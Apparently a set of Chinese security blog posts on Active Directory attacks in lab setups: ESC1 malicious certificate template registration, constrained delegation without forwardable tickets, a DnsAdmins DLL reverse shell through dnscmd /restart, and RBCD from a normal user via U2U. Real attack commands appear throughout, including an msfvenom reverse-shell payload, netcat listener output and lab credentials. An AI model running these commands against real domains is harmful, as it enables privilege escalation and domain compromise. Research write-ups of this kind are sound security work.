为了利用它，我们需要将之前的esc1模板写成一个完整的json格式

{
    "name":  "ESC1",
    "displayName":  "ESC1",
    "objectClass":  "pKICertificateTemplate",
    "flags":  131616,
    "revision":  100,
    "msPKI-Cert-Template-OID":  "1.3.6.1.4.1.311.21.8.16735922.7437492.10570883.2539024.15756463.185.9025784.11813639",
    "msPKI-Certificate-Application-Policy":  [
                                                 "1.3.6.1.5.5.7.3.2"
                                             ],
    "msPKI-Certificate-Name-Flag":  1,
    "msPKI-Enrollment-Flag":  0,
    "msPKI-Minimal-Key-Size":  2048,
    "msPKI-Private-Key-Flag":  16842752,
    "msPKI-RA-Signature":  0,
    "msPKI-Template-Minor-Revision":  4,
    "msPKI-Template-Schema-Version":  2,
    "pKICriticalExtensions":  [
                                  "2.5.29.15",
                                  "2.5.29.7"
                              ],
    "pKIDefaultCSPs":  [
                           "3,Microsoft Base DSS Cryptographic Provider",
                           "2,Microsoft Base Cryptographic Provider v1.0",
                           "1,Microsoft Enhanced Cryptographic Provider v1.0"
                       ],
    "pKIDefaultKeySpec":  2,
    "pKIExpirationPeriod":  [
                                0,
                                64,
                                57,
                                135,
                                46,
                                225,
                                254,
                                255
                            ],
    "pKIExtendedKeyUsage":  [
                                "1.3.6.1.5.5.7.3.2"
                            ],
    "pKIKeyUsage":  [
                        128,
                        0
                    ],
    "pKIMaxIssuingDepth":  0,
    "pKIOverlapPeriod":  [
                             0,
                             128,
                             166,
                             10,
                             255,
                             222,
                             255,
                             255
                         ]
}

之后将这个json以及脚本传递到目标上去，运行如下命令

evil-winrm-py PS C:\Users\testuser\Documents> import-module .\ADCSTemplate.psm1 #导入模块
evil-winrm-py PS C:\Users\testuser\Documents> New-ADCSTemplate -DisplayName ESC -JSON (Get-Content .\ESC1.json -Raw) -Publish -Identity "WACKADCS\PKI
Admins" #注册模板并且指定可请求组

运行完毕后可以看到也是成功注册

┌──(wackymaker㉿kali)-[~/tmp/synthetic/adcs-test]
└─$ certipy find -u $user -p $pass -target $FQDN -dc-ip $ip -text -stdout -vulnerable
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 16 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'wackadcs-DC-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'wackadcs-DC-CA'
[*] Checking web enrollment for CA 'wackadcs-DC-CA' @ 'dc.wackadcs.com'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : wackadcs-DC-CA
    DNS Name                            : dc.wackadcs.com
    Certificate Subject                 : CN=wackadcs-DC-CA, DC=wackadcs, DC=com
    Certificate Serial Number           : 19F9595699CD919E41F8D2620299CFA0
    Certificate Validity Start          : 2025-08-28 08:34:40+00:00
    Certificate Validity End            : 2030-08-28 08:44:40+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : WACKADCS.COM\Administrators
      Access Rights
        ManageCa                        : WACKADCS.COM\Administrators
                                          WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Enterprise Admins
        ManageCertificates              : WACKADCS.COM\Administrators
                                          WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Enterprise Admins
        Enroll                          : WACKADCS.COM\Authenticated Users
Certificate Templates
  0
    Template Name                       : ESC
    Display Name                        : ESC
    Certificate Authorities             : wackadcs-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-08-29T11:30:30+00:00
    Template Last Modified              : 2025-08-29T11:30:30+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : WACKADCS.COM\PKIAdmins
      Object Control Permissions
        Owner                           : WACKADCS.COM\testuser
        Full Control Principals         : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
        Write Owner Principals          : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
        Write Dacl Principals           : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
    [+] User Enrollable Principals      : WACKADCS.COM\PKIAdmins
    [+] User ACL Principals             : WACKADCS.COM\testuser
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.
      ESC4                              : Template is owned by user.

利用这个脚本的好处是方便，且可以直接指定可请求证书组，在创建后门证书的时候好用，但他基于rsat域模块，且最近的更新也在7年前了，所以还是按需使用。

总结

以上就是本文的全部内容了，在本文完结并提交前，我确定网上并没有出现过如何利用注册恶意模板并利用的手法，尽管其其实并不算一个很难的角度，不过想要绕过桌面会话来创建一个模板确实需要对ca的底层交互了解很多，等过段时间有时间了我会再测试并书写一篇黄金证书的攻击手段

不可转发情况下的约束委派攻击

Thu, 28 Aug 2025 13:43:59 +0800

要理解不可转发约束委派为何是难以被攻击的，我们需要了解约束委派本身

约束委派简介

简单来说，约束委派是域内的一种机制：允许某个账号（如sever1$)，以其他用户的身份访问特定服务（如 HTTP/dc01.corp.local）。

被允许访问的服务通过 AD 属性 msDS-AllowedToDelegateTo 控制

为了实现这种效果，它用到两个kerberos扩展，分别是S4U2Self以及S4U2Proxy，并且S4U2Self存在一个拓展机制也就是所谓的Protocol Transition（协议转换），正常来说我们遇到的约束委派是默认开启了协议转换的，当我们请求S4U2Self的时候kdc会返回一个代表目标用户的票据，但是是否允许我们利用此票据去请求对应的st，则是协议转换决定的，准确来说是取决于这个票据是否有 forwardable 属性，一旦该票据开启此属性，我们就可以很愉快的使用约束委派的常用打法，直接请求一个管理员的st用来访问对应服务，或者是进行impacket包的攻击。

不过这次我们遇到的是不可转发约束委派

实验环境

要完成这种攻击两个特殊的前提，1是具有约束委派的用户需要是机器用户，2是这个机器用户注册了自己的服务（实际上机器用户在创建时就会存在spn，所以是个默认情况），这两个条件缺一不可，可以简单的理解为，既然不允许我们委派任意用户，不如我们直接先变成任意用户之后再去委派。

练习靶机的时候htb的Rebound很好的模拟了这一特殊环境，所以我会直接利用它来进行说明，而事实上我也是从它这里学到可以这么做的。

实验环境如下 IP：10.129.194.21；FQDN：DC01.rebound.htb；具有委派的用户信息：delegator$/c5c2c04a2590c117fa9e1a07a110dad3，和一个普通域用户：ldap_monitor/1GR8t@$$4u

使用工具如下：impacket包

在开始攻击之前，可以通过下面看到delegator$确实配置了约束委派

但是当我们直接请求管理员的时候会报错

其中报错点明了Probably SPN is not allowed to delegate by user delegator$ or initial TGT not forwardable，也就是tgt可能不存在forwardable所以不允许转发票据

这时如果我们抓取猎犬如果看到了这个机器用户存在注册服务，就像这样

我们就可以尝试利用手动构造rbcd（基于资源委派）来强制以任意用户访问delegator$这个机器账户，因为不存在forwardable这个属性只是不允许我们以任意用户请求，并不是不允许请求，所以只要我们提前以及做到了任意用户的身份认证搞到了一张可转发tgs，我们就可以利用这个约束委派去访问目标服务

实际操作

具体做法如下

首先将delegator$msDS-AllowedToActOnBehalfOfOtherIdentity属性写入ldap_monitor，将其拥有对delegator$打rbcd的权限，其实也就是为了提前一步伪造为任意用户

利用这层身份，我们可以ldap_monitor以任意身份请求delegator$注册的服务，这里我们直接以dc的机器用户请求

现在我们以及完成了提前一步伪造为我们需要的用户，接下来我们就能直接拿着这张票据去请求约束委派

而这张票据就是我们成功以dc01$的身份在没有开启协议转换的情况下请求了约束委派的服务

而我们可以利用它去打dcsync，其结果证明了我们的成功

可以这么简单的理解约束委派利用的两个机制，我简写为ss和sp,ss用于请求一个tgs（sp用于将这个tgs请求st，但是这里如果开了不可转发的话ss流程获取的tgs就没法用st转发，这时我们构造的环境其实是绕过ss，通过构造rbcd获取了一个tgs，这个tgs由于没有经过ss所以是可以转发的，也就可以利用sp利用

小解答

这里简单的解决两个可能会导致疑惑的问题一：为什么必须 browser 是 delegator$ 注册的 SPN？

这是因为TGS 票据是针对特定服务 SPN 的，KDC 在处理 S4U2Proxy 请求时，会检查：TGS 的服务是否等于你（delegator$）账号注册的服务；如果不匹配，就无法用该 TGS 请求进一步的 ST。所以必须构造一个 delegator$ 能“合法代理”的票据，也就是它自己注册的服务 SPN，如 browser/dc01.rebound.htb。

二：为什么 ldap_monitor 能获取伪造票据？

因为我们手动将 ldap_monitor 加入到 delegator$ 对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 中，KDC 会允许 ldap_monitor 代表任意用户（如 DC01$）请求对 delegator$ 注册的服务（browser）的票据。这也是rbcd（基于资源委派）的基础打法

三：为什么我们以及拥有了browser的身份为dc01的st，还需要利用http服务？

拿到 browser 的票据只是“中间的跳板”，我们必须借助 delegator$ 的约束委派配置，把这个伪造的身份票据变成能访问目标服务（http）的 ST，才能完成最终攻击。

基于DnsAdmin组的dns热重载权限维持及衍生情况

Mon, 25 Aug 2025 18:50:52 +0800

本文所使用环境

这篇环境当中，我使用的是我自建靶机bicker,其中tindalos就是dnsadmin组

本文阅读前置介绍

dnsadmin作为域渗透中的一个常见提权思路，网上的文章已经有很多了，但是普遍是你抄我我抄你，大部分都是一个模板套出来的，其原因也很简单,最容易枚举到的是nairuzabulhul的这篇博客，而那些“一般文章”普遍都是刻着它的模板，按照他们的解释来看，只要是dnsadmin组就允许执行以下操作进行提权

利用dnscmd.exe给dns的组件serverlevelplugindll注册恶意后门dll
监听shell
利用sc.exe重启服务，在服务重启的时候dns会加载恶意dll并回弹system权限shell

当然，在准备详细研究之前我也是这么觉得的，但是当我们真正配置了一个dnsadmin组则会发现dnsadmin组其实默认并不具备重启服务的权限

evil-winrm-py PS C:\Users\tindalos\Documents> whoami /all

用户信息
----------------

用户名          SID                                         
=============== ============================================
bicker\tindalos S-1-5-21-298176814-2846777796-698167141-1103


组信息
-----------------

组名                                        类型   SID                                          属性                                  
=========================================== ====== ============================================ ======================================
Everyone                                    已知组 S-1-1-0                                      必需的组, 启用于默认, 启用的组        
BUILTIN\Remote Desktop Users                别名   S-1-5-32-555                                 必需的组, 启用于默认, 启用的组        
BUILTIN\Remote Management Users             别名   S-1-5-32-580                                 必需的组, 启用于默认, 启用的组        
BUILTIN\Users                               别名   S-1-5-32-545                                 必需的组, 启用于默认, 启用的组        
BUILTIN\Pre-Windows 2000 Compatible Access  别名   S-1-5-32-554                                 必需的组, 启用于默认, 启用的组        
NT AUTHORITY\NETWORK                        已知组 S-1-5-2                                      必需的组, 启用于默认, 启用的组        
NT AUTHORITY\Authenticated Users            已知组 S-1-5-11                                     必需的组, 启用于默认, 启用的组        
NT AUTHORITY\This Organization              已知组 S-1-5-15                                     必需的组, 启用于默认, 启用的组        
BICKER\DnsAdmins                            别名   S-1-5-21-298176814-2846777796-698167141-1101 必需的组, 启用于默认, 启用的组, 本地组
NT AUTHORITY\NTLM Authentication            已知组 S-1-5-64-10                                  必需的组, 启用于默认, 启用的组        
Mandatory Label\Medium Plus Mandatory Level 标签   S-1-16-8448                                                                        


特权信息
----------------------

特权名                        描述             状态  
============================= ================ ======
SeMachineAccountPrivilege     将工作站添加到域 已启用
SeChangeNotifyPrivilege       绕过遍历检查     已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集   已启用


用户声明信息
-----------------------

用户声明未知。

已在此设备上禁用对动态访问控制的 Kerberos 支持。
evil-winrm-py PS C:\Users\tindalos\Documents> sc.exe stop dns
[SC] OpenService 失败 5:

拒绝访问。

evil-winrm-py PS C:\Users\tindalos\Documents>

这意味着如果进入实战环境或者远程靶机环境，没有配置服务管理权限的dnsadmin将很难利用（无重启特权）

dnsadmin热重载

为了找寻如何在仅仅使用dnsadmin组权限进行服务重启类似效果时，我查看了MS-DNSP的文档，我查找到了这一行

§If pszOperation is Restart, the server MUST restart the DNS server, and return success.

文档中显示的结果就是服务器在R_DnssrvOperation中接受的命令有restart这个值，也意味着确实存在重启选项

于是我查看dnscmddnscmd的文档，但是当我搜索restart的时候一无所获，走头无路的我找到了Yuval Gordon的文章(事实上后续的研究我参考了他很多，感谢前人)，发现他找到了dnscmd存在/restart参数，当我尝试后，它真的成功了

#这里我使用的rev.dll为：msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.174.129 LPORT=443 -f dll -o rev.dll
evil-winrm-py PS C:\users\tindalos> dnscmd.exe /config /serverlevelplugindll C:\wirteTEMP\rev.dll

注册属性 serverlevelplugindll 成功重置。
命令成功完成。

evil-winrm-py PS C:\users\tindalos> dnscmd.exe /restart

. 已成功完成。
命令成功完成。

└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.174.129] from (UNKNOWN) [192.168.174.143] 54728
Microsoft Windows [°汾 10.0.20348.169]
(c) Microsoft Corporation¡£±£´̹ԐȨ{¡£

C:\Windows\system32>

这令我有点意外，因为我不理解为何它能重启服务，并且它并不在微软的文档当中，于是我对dnsadmin以及dnscmd的使用进行了研究

这种不利用sc执行的攻击类似于热重载，其本质上与服务重启的含义并不同，导致的效果也并不同，如果你对这块内容感兴趣，可以跳到本文章的 /restart优点和缺点

dnsadmin组权限解析及结论

我们登陆环境当中的域管理并筛选dnsadmin对MicrosoftDNS容器的控制权限可以看到基本上就是通用all权限

dsacls "CN=MicrosoftDNS,CN=System,DC=bicker,DC=com"

允许 BICKER\DnsAdmins   特殊访问
    DELETE
    READ PERMISSONS
    WRITE PERMISSIONS
    CHANGE OWNERSHIP
    CREATE CHILD
    DELETE CHILD
    LIST CONTENTS
    WRITE SELF
    WRITE PROPERTY
    READ PROPERTY
    DELETE TREE
    CONTROL ACCESS

我们尝试创建一个域用户且添加远程管理和对MicrosoftDNS的通用写入和读取

evil-winrm-py PS C:\Users\Administrator\Documents> New-ADUser -Name "dns-test" -SamAccountName "dns-test" -AccountPassword (ConvertTo-S
ecureString "P@ssw0rd!" -AsPlainText -Force) -Enabled $true
evil-winrm-py PS C:\Users\Administrator\Documents> Add-ADGroupMember -Identity "Remote Management Users" -Members "dns-test"
evil-winrm-py PS C:\Users\Administrator\Documents> dsacls "CN=MicrosoftDNS,CN=System,DC=bicker,DC=com" /G "BICKER\dns-test:GRGW"

修改完毕后列出，可以看到dns-test用户并没有完全添加通用写入和通用读取，这可能是因为AD 对象类型限制，毕竟MicrosoftDNS本质上属于容器，域环境应该会阻止对其写入通用写入权限（这是我的猜测，其并不准确，我会在后续有时间的时候继续探讨这个问题）

允许 BICKER\dns-test  特殊访问
   READ PERMISSIONS #通用读取
   LIST CONTENTS #列出内容
   WRITE SELF #写入自身
   WRITE PROPERTY #属性写入
   READ PROPERTY #属性读取
   LIST OBJECT #列出对象

当我们登陆这个用户并尝试执行和之前tindalos用户（属于dnsadmin组）通用的加载权限的时候，令我惊讶的事情发生了，这个不在dnsadmin组当中的用户毫无阻碍的将system权限shell弹了回来

evil-winrm-py PS C:\users\dns-test> dnscmd.exe /config /serverlevelplugindll C:\wirteTEMP\rev.dll

注册属性 serverlevelplugindll 成功重置。
命令成功完成。

evil-winrm-py PS C:\users\dns-test> dnscmd.exe /restart

. 已成功完成。
命令成功完成。

└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.174.129] from (UNKNOWN) [192.168.174.143] 55669
Microsoft Windows [°汾 10.0.20348.169]
(c) Microsoft Corporation¡£±£´̹ԐȨ{¡£

C:\Windows\system32>

所以这里我意识到，只要我们对dns容器存在读取写入权限，我们就能利用热重载进行攻击

于是我又测试了仅仅给dns-test给予属性读写，看他能否操作热重载

允许 BICKER\dns-test  特殊访问
   WRITE PROPERTY #属性写入
   READ PROPERTY #属性读取

evil-winrm-py PS C:\wirteTEMP> dnscmd.exe /config /serverlevelplugindll C:\wirteTEMP\rev.dll

DNS 服务器未能重置注册属性。
    状态 = 5 (0x00000005)
命令失败:  ERROR_ACCESS_DENIED     5    0x5

失败是正常的，单一的属性读取并不足以dnscmd进行认证

所以现在可以给出现阶段的研究结论了:

执行热重载dns劫持并不一定需要成为dnsadmin组，而只需要对MicrosoftDNS容器的通用读取权限以及写入属性权限（Yuval Gordon文章指出需要通用写入以及通用读取，在以上的测试中我发现通用写入并不一定需要且配置起来比较困难，所以读取属性权限就够了），以及对dc的rpc访问权限即可（域用户即可）

攻击路径检测难度

那么这种不再dnsadmin组中却对dns容器存在acl的情况是否容易检测呢？

通过猎犬，我们可以看到用户没有出站，针对性查找也无法查找，这很正常

猎犬只抓取

用户（User）
组（Group）
计算机（Computer）
OU（组织单位）
域（Domain）
GPO（组策略对象）

而MicrosoftDNS属于system容器，容器(Container)默认是不会被抓取的，因为它不是常规的 OU 或对象类型，正常的hound只扫描标准AD-ACL。

但是powerview的高危筛选就能清晰的筛选出来

evil-winrm-py PS C:\wirteTEMP>. .\PowerView.ps1
evil-winrm-py PS C:\wirteTEMP> Find-InterestingDomainAcl -ResolveGUIDs


ObjectDN                : CN=MicrosoftDNS,CN=System,DC=bicker,DC=com
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : Self, WriteProperty, GenericRead
ObjectAceType           : None
AceFlags                : None
AceType                 : AccessAllowed
InheritanceFlags        : None
SecurityIdentifier      : S-1-5-21-298176814-2846777796-698167141-3601
IdentityReferenceName   : dns-test
IdentityReferenceDomain : bicker.com
IdentityReferenceDN     : CN=dns-test,CN=Users,DC=bicker,DC=com
IdentityReferenceClass  : user

所以在这种情况下只能利用利用rast模块本地枚举或者powerview

/restart优点和缺点

当我们利用热重载进行攻击过后，查看dns的日志文件，发现仅存在事件

事件ID770（已加载服务器级插件 DLL）事件ID140，而正常的服务重启会产生7035(服务重启)，7036(服务状态更改)等事件，这些事件无一例外的都会产生大量“噪音”

为何利用/restart操作会这样呢，其实问题藏在事件ID140报错当中（rpc终结点重复）

DNS管理面是通过RPC终结点对外提供接口的。一个服务在对外“开门”前，会先注销旧终结点，再注册新终结点，无论是正常重启还是内部重载，代码层面都去调了“注销终结点”的同一个 API，但这个注销动作失败了，可以这么理解

正常重启：原理是服务进程会退出，重新启动一个新进程，在退出进程前服务注销失败，但进程马上退出。进程一退出，RPC运行时会自动清理它的终结点注册，所以不会留下脏状态；新进程再起来，顺利注册，没有后续错误。
内部重载（/Restart）:同一个进程里调用内部函数reloadShutdown，把组件“关—再开”，不退出进程。类似“热重载”但是进程并未重启。所以注销失败后，旧的终结点还挂着；接着重载流程又去注册相同的终结点，于是 RPC 端点映射器发现“这玩意儿已经有了”，报 140事件错误

从这件事件可以看出热重载和服务重启的区别

服务重启会产生大量日志报告，且需要服务重启权限，一般需要域管理或者server2019前存在的默认组服务操作员等权限，或者更彻底一点，直接等待机器重启，但是重启后并不会导致dns管理平台失控，还是正常允许我们撤销dll痕迹清楚
热重载“噪音小”且只需要dnsadmin或者容器读写权限即可单独操作，但是会导致140错误，在机器下次重启之前dns管理平台会死机，这个进程将不再允许dns管理控制台的介入，dnscmd也无法进行下一步工作

感谢

本拙略冗长的文章就到此结束了，在这次研究中我还是有很多底层或者权限理解并未搞清楚，会在之后继续学习，并分享出来，感谢以下文章以及人员的帮助

Yuval Gordon的文章是我这篇文章的基础

感谢IPv32 乔.九九.☆.0/24的帮助，这篇文章的由来也是因为他对我的靶机产生了非预期解（笑哭）

使用普通用户帐户远程利用RBCD

Sat, 23 Aug 2025 20:02:05 +0800

使用普通用户帐户远程利用 RBCD（基于资源委派）

我是站在巨人们的肩膀上

在这篇文章开始之前，我本来想详细解释一下rbcd，奈何Wagging the Dog写的文章已经足够全面了，这就像我这篇文章的主旋律一样，我吸取了0xdf这台phantom的知识，并且他把我引导到了James Forshaw这篇此文章基础的知识点。在我意识到0xdf的那台靶场环境存在限制并且James Forshaw并没有完全描述出远程攻击的利用手段，便有了这篇文章，就算你没有去看以上的文章，我也会尽可能让你理解使用普通用户帐户远程利用 RBCD

从失败中找到答案

Wagging the Dog描述的很明确，当我们对本地计算机的域帐户具有写入访问权限，即可修改msDS-AllowedToActOnBehalfOfOtherIdentity属性以添加另一个帐户的 SID。之后就可以将该帐户与用户服务（S4U）协议一起使用，以获取本地计算机的 Kerberos 服务票证，作为域上的任何用户（包括本地管理员）进行票据认证

正常的rbcd一般需要我们创建一台机器账户或者手中已经有了一台完全控制的机器账户，这样才能正常的对目标进行请求，要绕过这个限制，我们需要实践一下看看报错是如何产生的

┌──(wackymaker㉿kali)-[~/test]
└─$ cat start.sh 
ip=192.168.174.145
user=mrrobot
pass=mrroboto12
domain=novice.com
hash=c8fa8686516464c51cfc0bdc3e52ef9e
FQDN=DC.novice.com

我在本地配置了如上环境，域用户mrrobot具备对dc$的GenericWrite的权限，以便我们可以配置rbcd的环境，我们先正常的将mrrobot写入DC$的msDS-AllowedToActOnBehalfOfOtherIdentity属性并尝试委派

┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-rbcd -action write -delegate-to "DC$" -delegate-from "$user" $domain/$user:$pass -dc-ip $ip
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] mrrobot can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     MrRobot      (S-1-5-21-3649830887-1815587496-1699028491-1104)

┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-getST -impersonate Administrator -spn cifs/DC.novice.com $domain/$user:$pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting TGT for user
[*] Impersonating Administrator
/usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2self
[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Probably user mrrobot does not have constrained delegation permisions or impersonated user does not exist

可以看到我们写入属性是成功的，但是在请求委派的过程种遭到了报错

[*] Requesting S4U2self
[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)

这段报错意味着请求过程在S4U2self阶段报错，原因在James Forshaw的文章写的很清楚，kdc不清楚该使用何加密密钥，因为我们请求的用户并不具备spn，而一般的机器用户在创建的时候就会创建一系列自身的服务，也就是说自带spn，这里是一般我们只会使用机器账户进行委派的关键

当我们请求S4U2Self的时候S4U2Self需要KDC能够找到目标主体的长期密钥（long-term key）来生成票据。这个长期密钥是每个域内账户都拥有的RC4-HMAC或AES加密的一个密钥，而spn的作用本质上是指向某个账户，所以本质上的流程是这样

机器用户请求委派 → S4U2Self需要KDC提供一个可用于加密的长期密钥 → KDC依据我们提供的spn的绑定找到账户 → 用账户长期密钥加密票据 → 下一步

所以我们的用户如果没有spn，KDC默认情况下是找不到一个可以利用的长期密钥的

绕过S4U2Self

这种情况我们有两种解决方式

为用户添加spn（如果没有上级已经掌握用户对此用户存在通用写入及以上权限的情况下，域用户默认不允许修改自己的spn）
通过U2U方式进行请求，强行指定KDC选择当前用户的长期密钥进行加密票据

U2U（User-to-User）是Kerberos协议的一种扩展，用于在用户之间直接获取服务票据（TGS）而不依赖服务账户的长期密钥。如果服务支持 U2U，Kerberos可以使用目标用的 TGT（或者票据中的 session key）加密请求，直接生成服务票据，而不需要服务账户的明文密码或密钥

当我们启用了u2u，请求流程就会变成如下

域用户利用u2u请求委派 → S4U2Self需要KDC提供一个可用于加密的长期密钥 → KDC依据u2u直接找到目标（可指定，但这里我们一般使用自身） → 用目标账户长期密钥加密票据 → 下一步

impacket包支持u2u的请求方式，让我们利用u2u进行尝试一次

┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-getST -u2u -impersonate Administrator -spn cifs/DC.novice.com $domain/$user:$pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user mrrobot or initial TGT not forwardable

可以看到这里我们使用S4U2self+U2U进行了成功请求，但是在转发的时候被S4U2Proxy报错，报错提示了KDC_ERR_BADOPTION错误这几乎可以肯定是因为 KDC 无法解密 S4U2Proxy 请求中发送的票证。

S4U2Proxy的限制以及绕过

当我们发起S4U2Proxy请求时KDC会执行如下操作，kdc首先需要检查我们提供的S4U2Self服务票据，也就是刚才我们成功过绕过的票据，kdc会尝试解密这个票据来验证其有效性。

kdc校验PAC（Privilege Attribute Certificate）里的签名：

Server Signature：用服务票据的 session key 加 HMAC。
KDC Signature：用 KDC 的主密钥加 HMAC。

这里的session_key是在请求之前利用我们指定长期密钥加密的一串随机密钥，格式为aes或者rc4，解密过程kdc也会需要去寻找提交用户的spn进行解密，当它发现我们没有spn的时候就会退回并尝试使用用户长期密钥，这就导致了失败认证。

听着有点复杂，但是简单能浓缩成两句话：

正常流程：KDC 找到 SPN → 用服务长期密钥解密 PAC → 成功。
普通用户没有 SPN：KDC fallback 用用户长期密钥 → 与 PAC 加密 key 不符 → 失败。

这里的绕过思路就是让用户长期密钥与pac加密key相符，，但是我们没有办法直接修改pac，因为在我们拥有密钥的情况下虽然可以修改Server Signature但是我们并修改不了KDC Signature，它是使用KDC自己的密钥密钥的HMAC。我们不知道此密钥，也就没办法修改，所以我们只能另辟蹊径，尝试让此域用户的长期密钥直接等于session key就可以理论上绕过这个限制

为了获取sessionkey，我们需要以用户身份远程请求tgt并解密查看

┌──(wackymaker㉿kali)-[~/test]
└─$ rm mrrobot.ccache 

┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-getTGT $domain/$user:$pass -dc-ip $ip
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in mrrobot.ccache

┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-describeTicket mrrobot.ccache 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : fb6f9d587e3b8c08a0390e82a3c9fa4d281088835c3bd631712bd99c42246bb2
.............
[*]   Encryption type             : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied

这里可以看到我们利用密码请求了一个tgt，解密后获得的session key为

fb6f9d587e3b8c08a0390e82a3c9fa4d281088835c3bd631712bd99c42246bb2

这个长度明显是用aes加密而成，我们需要将用户的hash直接更改为此session key是很困难的，由于ntlmhash是rc4加密过程，这个就是0xdf文章当中未提到的，我们整套攻击流程显然都需要目标开启rc4认证，但一般域虽然默认开启，却不会默认使用rc4，pha那台靶机是不仅启用，也默认使用了rc4加密，所以才允许用密码请求tgt获取到了rc4加密的session key，这里解决办法也很简单，只需要我们以hash请求即可，以ntlmhash请求tgt就会使kdc默认使用rc4进行加密session key

┌──(wackymaker㉿kali)-[~/test]
└─$ iconv -f ASCII -t UTF-16LE <(printf "mrroboto12") | openssl dgst -md4
MD4(stdin)= c8fa8686516464c51cfc0bdc3e52ef9e

┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-getTGT $domain/$user -hashes :$hash -dc-ip $ip
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in mrrobot.ccache

┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-describeTicket mrrobot.ccache 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : fce9e6a3381a5301dd00d59aaae12af6
[*] User Name                     : mrrobot
[*] User Realm                    : NOVICE.COM
[*] Service Name                  : krbtgt/NOVICE.COM
[*] Service Realm                 : NOVICE.COM
[*] Start Time                    : 23/08/2025 01:33:38 AM
[*] End Time                      : 23/08/2025 11:33:38 AM
[*] RenewTill                     : 24/08/2025 01:33:38 AM
[*] Flags                         : (0x50c10000) forwardable, proxiable, renewable, initial, enc_pa_rep
[*] KeyType                       : rc4_hmac
[*] Base64(key)                   : /OnmozgaUwHdANWaquEq9g==
[*] Decoding unencrypted data in credential[0]['ticket']:
[*]   Service Name                : krbtgt/NOVICE.COM
[*]   Service Realm               : NOVICE.COM
[*]   Encryption type             : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied

可以看到这次session key是rc4格式

fce9e6a3381a5301dd00d59aaae12af6

完全符合了ntlm的格式，所以我们可以将此域用户的ntlm直接修改为session key

┌──(wackymaker㉿kali)-[~/test]
